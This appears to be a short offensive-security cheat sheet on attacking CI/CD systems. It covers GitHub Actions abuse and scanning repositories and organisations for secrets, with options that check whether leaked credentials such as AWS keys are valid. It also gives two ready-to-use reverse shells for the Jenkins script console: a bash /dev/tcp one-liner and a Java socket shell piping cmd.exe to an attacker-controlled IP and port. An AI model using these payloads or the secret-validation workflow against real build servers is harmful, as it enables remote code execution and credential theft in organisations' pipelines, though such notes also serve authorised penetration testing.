Most of the below relates to GitHub, but the principles apply to pretty much all CICD (Jenkins, Builtkite, CircleCI, GitLab, JFrog)
Github Actions
.github/workflowsAutomated Actions abuse
Identifying Secrets
titus scan {path}titus scan {repo_link} --git --validate --output {output_db}
--git scans previous commits, which is slower but covers deleted passwords--validate will actually validate the secrets, which can help a lot with AWS keys for exampletitus {github/gitlab} --org {org_name} --git --skip-forks
--skip-forks can come in handy--token {token}--user {username}titus report --datastore {db_file}Compromising Self-Hosted Runners
Jenkins
/scriptr = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{kali_ip}/{kali_port};cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
String host="{kali_ip}";
int port={kali_port};
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
JFrog